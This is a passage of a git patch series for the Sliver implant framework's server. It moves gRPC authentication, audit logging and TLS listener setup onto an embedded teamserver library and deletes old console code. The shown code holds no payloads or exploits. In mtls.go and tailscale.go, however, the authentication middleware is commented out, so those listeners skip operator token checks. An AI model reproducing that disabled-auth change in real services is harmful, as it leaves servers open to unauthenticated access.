"mtls") + if name, ok := tokenCache.Load(token); ok { + mtlsLog.Debugf("Token in cache!") + newCtx = context.WithValue(newCtx, Operator, name.(string)) + return newCtx, nil + } + operator, err := db.OperatorByToken(token) + if err != nil || operator == nil { + mtlsLog.Errorf("Authentication failure: %s", err) + return nil, status.Error(codes.Unauthenticated, "Authentication failure") + } + mtlsLog.Debugf("Valid user token for %s", operator.Name) + tokenCache.Store(token, operator.Name) + + newCtx = context.WithValue(newCtx, Operator, operator.Name) + return newCtx, nil +} + +func deciderUnary(_ context.Context, _ string, _ interface{}) bool { + return serverConfig.Logs.GRPCUnaryPayloads +} + +func deciderStream(_ context.Context, _ string, _ interface{}) bool { + return serverConfig.Logs.GRPCStreamPayloads +} + +// Maps a grpc response code to a logging level +func codeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.InfoLevel + case codes.Canceled: + return logrus.InfoLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.InfoLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.InfoLevel + case codes.AlreadyExists: + return logrus.InfoLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.InfoLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} + +type auditUnaryLogMsg struct { + Request string `json:"request"` + Method string `json:"method"` + Session string `json:"session,omitempty"` + Beacon string `json:"beacon,omitempty"` + RemoteIP string `json:"remote_ip"` + User string `json:"user"` +} + +func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor { + return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { + rawRequest, err := json.Marshal(req) + if err != nil { + middlewareLog.Errorf("Failed to serialize %s", err) + return + } + middlewareLog.Debugf("Raw request: %s", string(rawRequest)) + session, beacon, err := getActiveTarget(rawRequest) + if err != nil { + middlewareLog.Errorf("Middleware failed to insert details: %s", err) + } + + p, _ := peer.FromContext(ctx) + + // Construct Log Message + msg := &auditUnaryLogMsg{ + Request: string(rawRequest), + Method: info.FullMethod, + User: getUser(p), + RemoteIP: p.Addr.String(), + } + if session != nil { + sessionJSON, _ := json.Marshal(session) + msg.Session = string(sessionJSON) + } + if beacon != nil { + beaconJSON, _ := json.Marshal(beacon) + msg.Beacon = string(beaconJSON) + } + + msgData, _ := json.Marshal(msg) + log.AuditLogger.Info(string(msgData)) + + resp, err := handler(ctx, req) + return resp, err + } +} + +func getUser(client *peer.Peer) string { + tlsAuth, ok := client.AuthInfo.(credentials.TLSInfo) + if !ok { + return "" + } + if len(tlsAuth.State.VerifiedChains) == 0 || len(tlsAuth.State.VerifiedChains[0]) == 0 { + return "" + } + if tlsAuth.State.VerifiedChains[0][0].Subject.CommonName != "" { + return tlsAuth.State.VerifiedChains[0][0].Subject.CommonName + } + return "" +} + +func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { + + var activeBeacon *clientpb.Beacon + var activeSession *clientpb.Session + + var request map[string]interface{} + err := json.Unmarshal(rawRequest, &request) + if err != nil { + return nil, nil, err + } + + // RPC is not a session/beacon request + if _, ok := request["Request"]; !ok { + return nil, nil, nil + } + + rpcRequest := request["Request"].(map[string]interface{}) + + middlewareLog.Debugf("RPC Request: %v", rpcRequest) + + if rawBeaconID, ok := rpcRequest["BeaconID"]; ok { + beaconID := rawBeaconID.(string) + middlewareLog.Debugf("Found Beacon ID: %s", beaconID) + beacon, err := db.BeaconByID(beaconID) + if err != nil { + middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err) + } else if beacon != nil { + activeBeacon = beacon.ToProtobuf() + } + } + + if rawSessionID, ok := rpcRequest["SessionID"]; ok { + sessionID := rawSessionID.(string) + middlewareLog.Debugf("Found Session ID: %s", sessionID) + session := core.Sessions.Get(sessionID) + if session != nil { + activeSession = session.ToProtobuf() + } + } + + return activeSession, activeBeacon, nil +} diff --git a/server/transport/middleware.go b/server/transport/middleware.go index db1d833b46..d51673034f 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -1,296 +1,218 @@ package transport /* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ import ( "context" - "crypto/sha256" - "encoding/hex" "encoding/json" - "sync" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/log" + grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" + "github.com/reeflective/team/server" + "github.com/reeflective/team/transports/grpc/common" "github.com/sirupsen/logrus" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/credentials" - "google.golang.org/grpc/peer" "google.golang.org/grpc/status" ) -var ( - serverConfig = configs.GetServerConfig() - middlewareLog = log.NamedLogger("transport", "middleware") -) +// BufferingOptions returns a list of server options with max send/receive +// message size, which value is that of the ServerMaxMessageSize variable (2GB). +func BufferingOptions() (options []grpc.ServerOption) { + options = append(options, + grpc.MaxRecvMsgSize(ServerMaxMessageSize), + grpc.MaxSendMsgSize(ServerMaxMessageSize), + ) + + return +} -type contextKey int +// LogMiddlewareOptions is a set of logging middleware options +// preconfigured to perform the following tasks: +// - Log all connections/disconnections to/from the teamserver listener. +// - Log all raw client requests into a teamserver audit file (see server.AuditLog()). +func LogMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts []grpc.StreamServerInterceptor -const ( - Transport contextKey = iota - Operator -) + cfg := s.GetConfig() + + // Audit-log all requests. Any failure to audit-log the requests + // of this server will themselves be logged to the root teamserver log. + auditLog, err := s.AuditLogger() + if err != nil { + return nil, err + } + + requestOpts = append(requestOpts, auditLogUnaryServerInterceptor(s, auditLog)) -// initMiddleware - Initialize middleware logger -func initMiddleware(remoteAuth bool) []grpc.ServerOption { - logrusEntry := log.NamedLogger("transport", "grpc") + requestOpts = append(requestOpts, + grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) + + streamOpts = append(streamOpts, + grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) + + // Logging interceptors + logrusEntry := s.NamedLogger("transport", "grpc") logrusOpts := []grpc_logrus.Option{ - grpc_logrus.WithLevels(codeToLevel), + grpc_logrus.WithLevels(common.CodeToLevel), } + grpc_logrus.ReplaceGrpcLogger(logrusEntry) - if remoteAuth { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(tokenAuthFunc), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(tokenAuthFunc), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } - } else { - return []grpc.ServerOption{ - grpc.ChainUnaryInterceptor( - grpc_auth.UnaryServerInterceptor(serverAuthFunc), - auditLogUnaryServerInterceptor(), - grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), - ), - grpc.ChainStreamInterceptor( - grpc_auth.StreamServerInterceptor(serverAuthFunc), - grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), - grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), - grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), - ), - } + + requestOpts = append(requestOpts, + grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCUnaryPayloads + }), + ) + + streamOpts = append(streamOpts, + grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCStreamPayloads + }), + ) + + return []grpc.ServerOption{ + grpc_middleware.WithUnaryServerChain(requestOpts...), + grpc_middleware.WithStreamServerChain(streamOpts...), + }, nil +} + +// TLSAuthMiddlewareOptions is a set of transport security options which will use +// the preconfigured teamserver TLS (credentials) configuration to authenticate +// incoming client connections. The authentication is Mutual TLS, used because +// all teamclients will connect with a known TLS credentials set. +func TLSAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var options []grpc.ServerOption + + tlsConfig, err := s.UsersTLSConfig() + if err != nil { + return nil, err } + creds := credentials.NewTLS(tlsConfig) + options = append(options, grpc.Creds(creds)) + + return options, nil } -var ( - tokenCache = sync.Map{} -) +// initAuthMiddleware - Initialize middleware logger. +func (ts *Teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts []grpc.StreamServerInterceptor + + // Authentication interceptors. + if ts.conn == nil { + // All remote connections are users who need authentication. + requestOpts = append(requestOpts, + grpc_auth.UnaryServerInterceptor(ts.tokenAuthFunc), + ) + + streamOpts = append(streamOpts, + grpc_auth.StreamServerInterceptor(ts.tokenAuthFunc), + ) + } else { + // Local in-memory connections have no auth. + requestOpts = append(requestOpts, + grpc_auth.UnaryServerInterceptor(serverAuthFunc), + ) + streamOpts = append(streamOpts, + grpc_auth.StreamServerInterceptor(serverAuthFunc), + ) + } -// ClearTokenCache - Clear the auth token cache -func ClearTokenCache() { - tokenCache = sync.Map{} + // Return middleware for all requests and stream interactions in gRPC. + return []grpc.ServerOption{ + grpc_middleware.WithUnaryServerChain(requestOpts...), + grpc_middleware.WithStreamServerChain(streamOpts...), + }, nil } +// TODO: Should we change the default in-memory server name ? func serverAuthFunc(ctx context.Context) (context.Context, error) { - newCtx := context.WithValue(ctx, Transport, "local") - newCtx = context.WithValue(newCtx, Operator, "server") + newCtx := context.WithValue(ctx, "transport", "local") + newCtx = context.WithValue(newCtx, "user", "server") + return newCtx, nil } -func tokenAuthFunc(ctx context.Context) (context.Context, error) { - mtlsLog.Debugf("Auth interceptor checking operator token ...") +func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { + log := ts.NamedLogger("transport", "grpc") + log.Debugf("Auth interceptor checking user token ...") + rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer") if err != nil { - mtlsLog.Errorf("Authentication failure: %s", err) + log.Errorf("Authentication failure: %s", err) return nil, status.Error(codes.Unauthenticated, "Authentication failure") } - // Check auth cache - digest := sha256.Sum256([]byte(rawToken)) - token := hex.EncodeToString(digest[:]) - newCtx := context.WithValue(ctx, Transport, "mtls") - if name, ok := tokenCache.Load(token); ok { - mtlsLog.Debugf("Token in cache!") - newCtx = context.WithValue(newCtx, Operator, name.(string)) - return newCtx, nil - } - operator, err := db.OperatorByToken(token) - if err != nil || operator == nil { - mtlsLog.Errorf("Authentication failure: %s", err) + user, authorized, err := ts.UserAuthenticate(rawToken) + if err != nil || !authorized || user == "" { + log.Errorf("Authentication failure: %s", err) return nil, status.Error(codes.Unauthenticated, "Authentication failure") } - mtlsLog.Debugf("Valid user token for %s", operator.Name) - tokenCache.Store(token, operator.Name) - - newCtx = context.WithValue(newCtx, Operator, operator.Name) - return newCtx, nil -} - -func deciderUnary(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCUnaryPayloads -} -func deciderStream(_ context.Context, _ string, _ interface{}) bool { - return serverConfig.Logs.GRPCStreamPayloads -} + newCtx := context.WithValue(ctx, "transport", "mtls") + newCtx = context.WithValue(newCtx, "user", user) -// Maps a grpc response code to a logging level -func codeToLevel(code codes.Code) logrus.Level { - switch code { - case codes.OK: - return logrus.InfoLevel - case codes.Canceled: - return logrus.InfoLevel - case codes.Unknown: - return logrus.ErrorLevel - case codes.InvalidArgument: - return logrus.InfoLevel - case codes.DeadlineExceeded: - return logrus.WarnLevel - case codes.NotFound: - return logrus.InfoLevel - case codes.AlreadyExists: - return logrus.InfoLevel - case codes.PermissionDenied: - return logrus.WarnLevel - case codes.Unauthenticated: - return logrus.InfoLevel - case codes.ResourceExhausted: - return logrus.WarnLevel - case codes.FailedPrecondition: - return logrus.WarnLevel - case codes.Aborted: - return logrus.WarnLevel - case codes.OutOfRange: - return logrus.WarnLevel - case codes.Unimplemented: - return logrus.ErrorLevel - case codes.Internal: - return logrus.ErrorLevel - case codes.Unavailable: - return logrus.WarnLevel - case codes.DataLoss: - return logrus.ErrorLevel - default: - return logrus.ErrorLevel - } + return newCtx, nil } type auditUnaryLogMsg struct { - Request string `json:"request"` - Method string `json:"method"` - Session string `json:"session,omitempty"` - Beacon string `json:"beacon,omitempty"` - RemoteIP string `json:"remote_ip"` - User string `json:"user"` + Request string `json:"request"` + Method string `json:"method"` } -func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor { +func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) grpc.UnaryServerInterceptor { + log := ts.NamedLogger("grpc", "audit") + return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { rawRequest, err := json.Marshal(req) if err != nil { - middlewareLog.Errorf("Failed to serialize %s", err) + log.Errorf("Failed to serialize %s", err) return } - middlewareLog.Debugf("Raw request: %s", string(rawRequest)) - session, beacon, err := getActiveTarget(rawRequest) + + log.Debugf("Raw request: %s", string(rawRequest)) + if err != nil { - middlewareLog.Errorf("Middleware failed to insert details: %s", err) + log.Errorf("Middleware failed to insert details: %s", err) } - p, _ := peer.FromContext(ctx) - // Construct Log Message msg := &auditUnaryLogMsg{ - Request: string(rawRequest), - Method: info.FullMethod, - User: getUser(p), - RemoteIP: p.Addr.String(), - } - if session != nil { - sessionJSON, _ := json.Marshal(session) - msg.Session = string(sessionJSON) - } - if beacon != nil { - beaconJSON, _ := json.Marshal(beacon) - msg.Beacon = string(beaconJSON) + Request: string(rawRequest), + Method: info.FullMethod, } msgData, _ := json.Marshal(msg) - log.AuditLogger.Info(string(msgData)) + auditLog.Info(string(msgData)) resp, err := handler(ctx, req) - return resp, err - } -} - -func getUser(client *peer.Peer) string { - tlsAuth, ok := client.AuthInfo.(credentials.TLSInfo) - if !ok { - return "" - } - if len(tlsAuth.State.VerifiedChains) == 0 || len(tlsAuth.State.VerifiedChains[0]) == 0 { - return "" - } - if tlsAuth.State.VerifiedChains[0][0].Subject.CommonName != "" { - return tlsAuth.State.VerifiedChains[0][0].Subject.CommonName - } - return "" -} -func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { - - var activeBeacon *clientpb.Beacon - var activeSession *clientpb.Session - - var request map[string]interface{} - err := json.Unmarshal(rawRequest, &request) - if err != nil { - return nil, nil, err - } - - // RPC is not a session/beacon request - if _, ok := request["Request"]; !ok { - return nil, nil, nil - } - - rpcRequest := request["Request"].(map[string]interface{}) - - middlewareLog.Debugf("RPC Request: %v", rpcRequest) - - if rawBeaconID, ok := rpcRequest["BeaconID"]; ok { - beaconID := rawBeaconID.(string) - middlewareLog.Debugf("Found Beacon ID: %s", beaconID) - beacon, err := db.BeaconByID(beaconID) - if err != nil { - middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err) - } else if beacon != nil { - activeBeacon = beacon.ToProtobuf() - } - } - - if rawSessionID, ok := rpcRequest["SessionID"]; ok { - sessionID := rawSessionID.(string) - middlewareLog.Debugf("Found Session ID: %s", sessionID) - session := core.Sessions.Get(sessionID) - if session != nil { - activeSession = session.ToProtobuf() - } + return resp, err } - - return activeSession, activeBeacon, nil } diff --git a/server/transport/mtls.go b/server/transport/mtls.go index 8c24962dbc..674f0b5b6c 100644 --- a/server/transport/mtls.go +++ b/server/transport/mtls.go @@ -34,18 +34,7 @@ import ( "google.golang.org/grpc/credentials" ) -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 - - // ServerMaxMessageSize - Server-side max GRPC message size - ServerMaxMessageSize = 2 * gb -) - -var ( - mtlsLog = log.NamedLogger("transport", "mtls") -) +var mtlsLog = log.NamedLogger("transport", "mtls") // StartMtlsClientListener - Start a mutual TLS listener func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listener, error) { @@ -64,7 +53,7 @@ func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listen grpc.MaxRecvMsgSize(ServerMaxMessageSize), grpc.MaxSendMsgSize(ServerMaxMessageSize), } - options = append(options, initMiddleware(true)...) + // options = append(options, initMiddleware(true)...) grpcServer := grpc.NewServer(options...) rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) go func() { diff --git a/server/transport/rpc.go b/server/transport/rpc.go new file mode 100644 index 0000000000..00ef9c6adc --- /dev/null +++ b/server/transport/rpc.go @@ -0,0 +1,73 @@ +package transport + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + + "github.com/reeflective/team/server" + "github.com/reeflective/team/transports/grpc/proto" +) + +// rpcServer is the gRPC server implementation. +// It makes uses of the teamserver core to query users and version information. +type rpcServer struct { + server *server.Server + *proto.UnimplementedTeamServer +} + +func newServer(server *server.Server) *rpcServer { + return &rpcServer{ + server: server, + UnimplementedTeamServer: &proto.UnimplementedTeamServer{}, + } +} + +// GetVersion returns the teamserver version. +func (ts *rpcServer) GetVersion(context.Context, *proto.Empty) (*proto.Version, error) { + ver, err := ts.server.Version() + + return &proto.Version{ + Major: ver.Major, + Minor: ver.Minor, + Patch: ver.Patch, + Commit: ver.Commit, + Dirty: ver.Dirty, + CompiledAt: ver.CompiledAt, + OS: ver.OS, + Arch: ver.Arch, + }, err +} + +// GetUsers returns the list of teamserver users and their status. +func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, error) { + users, err := ts.server.Users() + + userspb := make([]*proto.User, len(users)) + for i, user := range users { + userspb[i] = &proto.User{ + Name: user.Name, + Online: user.Online, + LastSeen: user.LastSeen.Unix(), + Clients: int32(user.Clients), + } + } + + return &proto.Users{Users: userspb}, err +} diff --git a/server/transport/server.go b/server/transport/server.go new file mode 100644 index 0000000000..0baa174139 --- /dev/null +++ b/server/transport/server.go @@ -0,0 +1,205 @@ +package transport + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "net" + "runtime/debug" + "sync" + + teamserver "github.com/reeflective/team/server" + "github.com/reeflective/team/transports/grpc/proto" + "google.golang.org/grpc" + "google.golang.org/grpc/test/bufconn" + + clientTransport "github.com/bishopfox/sliver/client/transport" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + bufSize = 2 * mb + + // ServerMaxMessageSize - Server-side max GRPC message size. + ServerMaxMessageSize = 2*gb - 1 +) + +// Teamserver is a simple example gRPC teamserver listener and server backend. +// This server can handle both remote and local (in-memory) connections, provided +// that it is being created with the correct grpc.Server options. +// +// This teamserver embeds a team/server.Server core driver and uses it for fetching +// server-side TLS configurations, use its loggers and access its database/users/list. +// +// By default, the server has no grpc.Server options attached. +// Please see the other functions of this package for pre-configured option sets. +type Teamserver struct { + *teamserver.Server + + options []grpc.ServerOption + conn *bufconn.Listener + mutex *sync.RWMutex + + hooks []func(server *grpc.Server) error +} + +// NewListener is a simple constructor returning a teamserver loaded with the +// provided list of server options. By default the server does not come with any. +func NewListener(opts ...grpc.ServerOption) *Teamserver { + listener := &Teamserver{ + mutex: &sync.RWMutex{}, + } + + listener.options = append(listener.options, opts...) + + return listener +} + +// NewClientFrom requires an existing grpc Teamserver to create an in-memory +// connection bound to both the teamserver and the teamclient backends. +// It returns a teamclient meant to be ran in memory, with TLS credentials disabled. +func NewClientFrom(server *Teamserver, opts ...grpc.DialOption) *clientTransport.Teamclient { + conn := bufconn.Listen(bufSize) + + ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { + return conn.Dial() + }) + + opts = append(opts, []grpc.DialOption{ + ctxDialer, + grpc.WithInsecure(), + }...) + + // The server will use this conn as a listener. + // The reference is dropped after server start. + server.conn = conn + + return clientTransport.NewTeamClient(opts...) +} + +// Name immplements team/server.Handler.Name(). +// It indicates the transport/rpc stack, in this case "gRPC". +func (h *Teamserver) Name() string { + return "gRPC" +} + +// PostServe registers one or more hook functions to be ran on the server +// before it is served to the listener. These hooks should naturally be +// used to register additional services to it. +func (h *Teamserver) PostServe(hooks ...func(server *grpc.Server) error) { + h.hooks = append(h.hooks, hooks...) +} + +// Init implements team/server.Handler.Init(). +// It is used to initialize the listener with the correct TLS credentials +// middleware (or absence of if about to serve an in-memory connection). +func (h *Teamserver) Init(serv *teamserver.Server) (err error) { + h.Server = serv + + h.options, err = LogMiddlewareOptions(h.Server) + if err != nil { + return err + } + + // Logging/authentication/audit + serverOptions, err := h.initAuthMiddleware() + if err != nil { + return err + } + + h.options = append(h.options, serverOptions...) + + return nil +} + +// Listen implements team/server.Handler.Listen(). +// It starts listening on a network address for incoming gRPC clients. +// If the teamserver has previously been given an in-memory connection, +// it returns it as the listener without errors. +func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { + rpcLog := h.NamedLogger("transport", "mTLS") + + // Only wrap the connection in TLS when remote. + // In-memory connection are not authenticated. + if h.conn == nil { + ln, err = net.Listen("tcp", addr) + if err != nil { + return nil, err + } + + // Encryption. + tlsOptions, err := TLSAuthMiddlewareOptions(h.Server) + if err != nil { + return nil, err + } + + h.options = append(h.options, tlsOptions...) + } else { + h.mutex.Lock() + ln = h.conn + h.conn = nil + h.mutex.Unlock() + } + + grpcServer := grpc.NewServer(h.options...) + + // Register the core teamserver service + proto.RegisterTeamServer(grpcServer, newServer(h.Server)) + + for _, hook := range h.hooks { + if err := hook(grpcServer); err != nil { + rpcLog.Errorf("service bind error: %s", err) + return nil, err + } + } + + rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr()) + + // Start serving the listener + go func() { + panicked := true + defer func() { + if panicked { + rpcLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) + } + }() + + if err := grpcServer.Serve(ln); err != nil { + rpcLog.Errorf("gRPC server exited with error: %v", err) + } else { + panicked = false + } + }() + + return ln, nil +} + +// Close implements team/server.Handler.Close(). +// In this implementation, the function does nothing. Thus the underlying +// *grpc.Server.Shutdown() method is not called, and only the listener +// will be closed by the server automatically when using CloseListener(). +// +// This is probably not optimal from a resource usage standpoint, but currently it +// fits most use cases. Feel free to reimplement or propose changes to this lib. +func (h *Teamserver) Close() error { + return nil +} diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index dd18a89c70..44ea47f27b 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -34,9 +34,7 @@ import ( "tailscale.com/tsnet" ) -var ( - tsNetLog = log.NamedLogger("transport", "tsnet") -) +var tsNetLog = log.NamedLogger("transport", "tsnet") // StartTsNetClientListener - Start a TSNet gRPC listener func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.Listener, error) { @@ -57,7 +55,7 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L } tsnetDir := filepath.Join(assets.GetRootAppDir(), "tsnet") - if err := os.MkdirAll(tsnetDir, 0700); err != nil { + if err := os.MkdirAll(tsnetDir, 0o700); err != nil { return nil, nil, err } @@ -81,7 +79,7 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L grpc.MaxRecvMsgSize(ServerMaxMessageSize), grpc.MaxSendMsgSize(ServerMaxMessageSize), } - options = append(options, initMiddleware(true)...) + // options = append(options, initMiddleware(true)...) grpcServer := grpc.NewServer(options...) rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) go func() { From 617b5b7bfcd5fe321c9c18eee58a410184b872cc Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 02:17:53 +0200 Subject: [PATCH 018/124] Start removing/cleaning up unused code with teamserver. --- client/transport/mtls.go | 113 ---------- server/cli/cli.go | 31 +-- server/command/builder/builder.go | 56 ++++- server/console/console-admin.go | 281 ------------------------- server/console/console-admin_test.go | 46 ---- server/console/console.go | 120 ----------- server/daemon/README.md | 4 - server/daemon/daemon.go | 73 ------- server/transport/middleware-old.go.old | 6 +- server/transport/middleware.go | 30 +-- server/transport/mtls.go | 109 ---------- server/transport/server.go | 85 ++++---- server/transport/tailscale.go | 83 ++++---- 13 files changed, 152 insertions(+), 885 deletions(-) delete mode 100644 client/transport/mtls.go delete mode 100644 server/console/console-admin.go delete mode 100644 server/console/console-admin_test.go delete mode 100644 server/console/console.go delete mode 100644 server/daemon/README.md delete mode 100644 server/daemon/daemon.go delete mode 100644 server/transport/mtls.go diff --git a/client/transport/mtls.go b/client/transport/mtls.go deleted file mode 100644 index ac5ff56686..0000000000 --- a/client/transport/mtls.go +++ /dev/null @@ -1,113 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "crypto/tls" - "crypto/x509" - "fmt" - "log" - "os" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "google.golang.org/grpc" - "google.golang.org/grpc/credentials" -) - -// MTLSConnect - Connect to the sliver server. -func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) { - tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey) - if err != nil { - return nil, nil, err - } - transportCreds := credentials.NewTLS(tlsConfig) - callCreds := credentials.PerRPCCredentials(TokenAuth(config.Token)) - options := []grpc.DialOption{ - grpc.WithTransportCredentials(transportCreds), - grpc.WithPerRPCCredentials(callCreds), - grpc.WithBlock(), - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)), - } - ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) - defer cancel() - connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...) - if err != nil { - return nil, nil, err - } - return rpcpb.NewSliverRPCClient(connection), connection, nil -} - -func getTLSConfig(caCertificate string, certificate string, privateKey string) (*tls.Config, error) { - certPEM, err := tls.X509KeyPair([]byte(certificate), []byte(privateKey)) - if err != nil { - log.Printf("Cannot parse client certificate: %v", err) - return nil, err - } - - // Load CA cert - caCertPool := x509.NewCertPool() - caCertPool.AppendCertsFromPEM([]byte(caCertificate)) - - // Setup config with custom certificate validation routine - tlsConfig := &tls.Config{ - Certificates: 